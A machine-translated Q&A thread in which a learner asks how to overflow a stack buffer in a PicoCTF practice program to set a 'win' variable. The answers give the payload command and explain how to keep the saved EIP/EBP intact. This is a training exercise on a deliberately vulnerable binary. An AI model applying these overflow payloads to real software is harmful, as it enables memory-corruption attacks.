2013-04-30 56 views
0

我一本書我已經在網上找到學習計算機安全(很新的這東西,去容易!),和一章教你關於溢出堆棧。在程序中使用的功能是:溢出到堆棧變量混亂(計算機安全)

void vuln(int tmp, char *str) { 
    //attempting to overflow into tmp, setting win accordingly 
    int win = tmp; 
    //overflowing this array! 
    char buf[64]; 
    strcpy(buf, str); 
    dump_stack((void **) buf, 23, (void **) &tmp); 
    printf("win = %d\n", win); 
    if (win == 1) { 
     printf("You win!\n"); 
    } else { 
     printf("Sorry, you lose.\n"); 
    } 
    exit(0); 
} 

我想要做的就是溢出buftmp值設置爲一個,設置相應的贏,讓我贏。

我目前使用的快速python腳本打印出84字母「A對堆棧的填充我想將值設置爲變量的地步。這是呼叫我做在命令提示符:

./simple_overwrite $(python -c "print 'A'*84) 

給出的輸出是:

Stack dump: 
> 0xffffd614: 0xffffd803 (second argument) 
> 0xffffd610: 0x00000000 (first argument) 
> 0xffffd60c: 0x41414141 (saved eip) 
> 0xffffd608: 0x41414141 (saved ebp) 
> 0xffffd604: 0x41414141 
> 0xffffd600: 0x41414141 
> 0xffffd5fc: 0x41414141 
> 0xffffd5f8: 0x41414141 
> 0xffffd5f4: 0x41414141 
> 0xffffd5f0: 0x41414141 
> 0xffffd5ec: 0x41414141 
> 0xffffd5e8: 0x41414141 
> 0xffffd5e4: 0x41414141 
> 0xffffd5e0: 0x41414141 
> 0xffffd5dc: 0x41414141 
> 0xffffd5d8: 0x41414141 
> 0xffffd5d4: 0x41414141 
> 0xffffd5d0: 0x41414141 
> 0xffffd5cc: 0x41414141 
> 0xffffd5c8: 0x41414141 
> 0xffffd5c4: 0x41414141 
> 0xffffd5c0: 0x41414141 
> 0xffffd5bc: 0x41414141 (beginning of buffer) 
> win = 1094795585 
> Sorry, you lose. 

雖然我不太清楚什麼劇本後進入設置地址指向到一個值,我試過0x1,只是1,但都沒有工作。任何幫助真的很感激,謝謝!

P.S.我知道這是一個相當不好的習慣,但請記住這是關於計算機安全的,我決不想在本教程之外使用它。

+0

爲什麼你認爲這是一個_bad_東西來了解這些問題?因爲知識是危險的? _瞭解脆弱性是如何發生的以及如何微不足道的一些可以被利用通常具有「學習」的副作用以避免首先創建它們。 – 2013-05-01 08:11:30

+0

我假設你參加了我正在幫助運行的PicoCTF競賽。正如我們在[常見問題](https://picoctf.com/faq)頁面上明確指出的那樣,這被認爲是**被認爲是作弊**:「與其他團隊共享密鑰或提供過度泄露提示是作弊的,就像直接由團隊以外的人員協助(使用互聯網上的工具確定; *請求互聯網上的人幫助您解決問題不是*)。「 〜PicoCTF主持人 – 2013-05-06 02:28:40

回答

2

你已經設置win0x41414141。您想將其設置爲1。嘗試是這樣的:

./simple_overwrite $(python -c "print 'A'*64 + '\x00\x00\x00\x01'") 

也許'\x01\x00\x00\x00',根據您的計算機的存儲方式。

+0

你太棒了!感謝您的幫助,如果您不介意我有關於緩衝區溢出的另一個問題。如果我想真的修改那個參數'tmp',我會如何去做,而不是搞砸保存的eip和edp?我知道這是可能的,但我不知道如何將這些保存的值「跳過」到tmp中。 – 2013-04-30 21:25:24

+0

我只是猜測在這裏,但我會運行程序沒有溢出('print'A'* 4',說),我會觀察dump_stack顯示的值。然後我再次運行該程序,將這些觀察值放入打印語句中('print'A'* 64 +'\ x00 \ x00 \ x00 \ x01'+'\ xc8 \ x00 \ x94 \ x24''或其他)。這樣,即使您仍然覆蓋保存的EIP並保存了EBP,您仍然用正確的值覆蓋它們。請注意,如果您啓用了[地址空間隨機化](http://en.wikipedia.org/wiki/Address_space_layout_randomization),則此技術將無法使用。 – 2013-05-01 15:02:06